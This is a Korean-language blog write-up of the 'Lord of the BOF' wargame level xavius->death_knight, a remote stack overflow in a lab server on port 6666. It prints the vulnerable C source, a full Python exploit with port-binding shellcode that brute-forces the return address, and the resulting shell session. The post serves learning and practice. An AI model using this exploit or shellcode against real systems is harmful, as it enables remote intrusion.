반응형

이번에 좀 머리를 쓰긴 했지만 원래 소켓프로그래밍 정말로 해보고싶었던지라 재밌게 클리어 한 것 같습니다.

처음에 제 생각으론 쉘이 따져야할텐데 안 따져서 인터넷을 좀 뒤져봤더니 권한을 어.. 뭐라해야하지 연결한 프로그램한테 바로 주는 것이 아니라 다른 포트에 연결해놔서 listen하고 있게 둔 다음 그 포트로 접속해야 연결이 되게 만든 쉘코드가 바로 port binding shellcode이라네요. 스택 오버플로우에 비슷한 질문이 올라와있어서 포트바인딩 쉘코드를 사용해야 한다는걸 알게 되었습니다. 쉘코드는 http://shell-storm.org/shellcode/files/shellcode-217.php 이곳에서 찾았습니다.



[xavius@localhost xavius]$ cat death_knight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/


#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <dumpcode.h>


main()

{

        char buffer[40];


        int server_fd, client_fd;

        struct sockaddr_in server_addr;

        struct sockaddr_in client_addr;

        int sin_size;


        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){

                perror("socket");

                exit(1);

        }


        server_addr.sin_family = AF_INET;

        server_addr.sin_port = htons(6666);

        server_addr.sin_addr.s_addr = INADDR_ANY;

        bzero(&(server_addr.sin_zero), 8);


        if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){

                perror("bind");

                exit(1);

        }


        if(listen(server_fd, 10) == -1){

                perror("listen");

                exit(1);

        }


        while(1) {

                sin_size = sizeof(struct sockaddr_in);

                if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

                        perror("accept");

                        continue;

                }


                if (!fork()){

                        send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

                        send(client_fd, "You : ", 6, 0);

                        recv(client_fd, buffer, 256, 0);

                        close(client_fd);

                        break;

                }


                close(client_fd);

                while(waitpid(-1,NULL,WNOHANG) > 0);

        }

        close(server_fd);

}

복잡한 코드엔 쥐약인데 보자마자 복잡해 보였습니다ㅋㅋ.... 프로그래밍 공부좀 열심히 해야겠습니다. 

일단 저는 클리어에 목표를 두었기 때문에 perror, 즉 에러메세지를 프린트해주는 부분은 건너뛰었습니다. 그 위의 소스도 소켓을 연결하는 부분이고요.


그렇다면 봐야할 곳은 여기인데

 if (!fork()){

                        send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

                        send(client_fd, "You : ", 6, 0);

                        recv(client_fd, buffer, 256, 0);

                        close(client_fd);

                        break;

                }

여기를 보면 52바이트, 6바이트를 보낸 후 256 바이트를 받는 것을 볼 수 있습니다.

버퍼는 40바이트니, 여기서 버퍼오버플로우가 일어나게 됩니다.


처음에 노가다 했던 코드는 이거인데요,

#!usr/bin/python


from socket import *

import struct, sys


#s = socket(AF_INET, SOCK_STREAM)

payload='\x90'*44 #space


#96 bytes of shellcode

shellcode="\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80"


p = lambda x : struct.pack("<I", x)


#payload= nop 44 ret_addr 4 nop 110 shellcode 96

#s.connect(("192.168.10.129",6666))


print "Connecting.."


for address in range (0xbffff000, 0xbfffffff):

        payload+=p(address)

        payload+='\x90'*110

        payload+=shellcode


        s = socket(AF_INET, SOCK_STREAM)

        s.connect(("192.168.10.129",6666))

        print s.recv(52)

        print s.recv(6)

        s.send(payload)


s.close()


p = lambda x : struct.pack("<I", x) 이부분이 주소값을 리틀엔디안 형식으로 바꿔줍니다.

그냥 페이로드처럼 짰습니다. nop44개, 리턴어드레스, nop 110개, 그리고 쉘코드.

밑의 for address in range는 이제와서 찾아보니 문제 코드에 있는 dumpcode를 활용해 주소를 알아낼 수 있는 방법이 있는 듯하지만 주소값을 얻을 방법이 없는것 같아 막막해서 그냥 주소를 브루트포싱해버렸습니다..

그리고서 페이로드를 보내는 형식이었습니다.

하지만 실행시키면

Death Knight : Not even death can save you from me!


You : 

만 무수히 뜰 뿐, 쉘을 얻을 수가 없었는데, 바인드 한 포트로 접속해야한다는것을 깨달은 뒤 소스를 바꿨습니다.

Administratorui-MacBook-Pro-2:~ EverTokki$ vi exploit_lob.py 


#!usr/bin/python


from socket import *

import struct, sys

import os


#s = socket(AF_INET, SOCK_STREAM)


payload='\x90'*44 #space


#96 bytes of shellcode


shellcode="\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80"


p = lambda x : struct.pack("<I", x)


#payload= nop 44 ret_addr 4 nop 112 shellcode 96

#s.connect(("192.168.10.129",6666))


print "Connecting.."


for address in range (0xbffff000, 0xbfffffff):

        payload+=p(address)

        payload+='\x90'*110

        payload+=shellcode


        s = socket(AF_INET, SOCK_STREAM)

        s.connect(("192.168.10.129",6666))

        print s.recv(52)

        print s.recv(6)

        s.send(payload)


        os.system("telnet 192.168.10.129 31337")

#s.close()


#close connection


그리고서 신기했던건 바로 쉘이 떴다는 것이었습니다. 그리고 그냥 입력은 안되고 command;형식으로 쳐야 전달이 된다는것도요.

Administratorui-MacBook-Pro-2:~ EverTokki$ python exploit_lob.py 

Connecting..

Death Knight : Not even death can save you from me!


You : 

Trying 192.168.10.129...

Connected to 192.168.10.129.

Escape character is '^]'.

ls

: command not found

ls;

bin

boot

dev

etc

home

lib

lost+found

mnt

opt

proc

root

sbin

tmp

usr

var

my-pass;

euid = 520


exit하니 계속 브루트포싱이 돌아가더라고요ㅋㅋ

그 후로 다시 시도해보니 안되디다???

??

???진짜 안되네요 뭐 잘못 건드렸나?

암튼 푸는거 진짜 재밌게 했음..


login: death_knight

Password:

[death_knight@localhost death_knight]$ ls

dropped_item.txt

[death_knight@localhost death_knight]$ cat dropped_item.txt


 You're so great! This is a token to the next gate.


                   ,.

                 ,'  `.

               ,' _<>_ `.

             ,'.-'____`-.`.

           ,'_.-''    ``-._`.

         ,','      /\      `.`.

       ,' /.._  O /  \ O  _.,\ `.

     ,'/ /  \ ``-;.--.:-'' /  \ \`.

   ,' : :    \  /\`.,'/\  /    : : `.

  < <>| |   O >(< (  ) >)< O   | |<> >

   `. : :    /  \/,'`.\/  \    ; ; ,'

     `.\ \  /_..-:`--';-.._\  / /,'

       `. \`'   O \  / O   `'/ ,'

         `.`._     \/     _,','

           `..``-.____.-'',,'

             `.`-.____.-','

               `.  <>  ,'

                 `.  ,'

                   `'


[death_knight@localhost death_knight]$


RedHat 6.2 여정 끗.

내일 시험있는데 이거하고나니 새벽한시네요. 클났다.

반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

Lord of the BOF  (0) 2019.02.07
xavius->death_knight  (0) 2014.07.31
nightmare->xavius  (0) 2014.07.22
succubus->nightmare  (0) 2014.07.10
zombie_assassin->succubus  (0) 2014.07.08
assassin->zombie_assassin  (2) 2014.06.26

+ Recent posts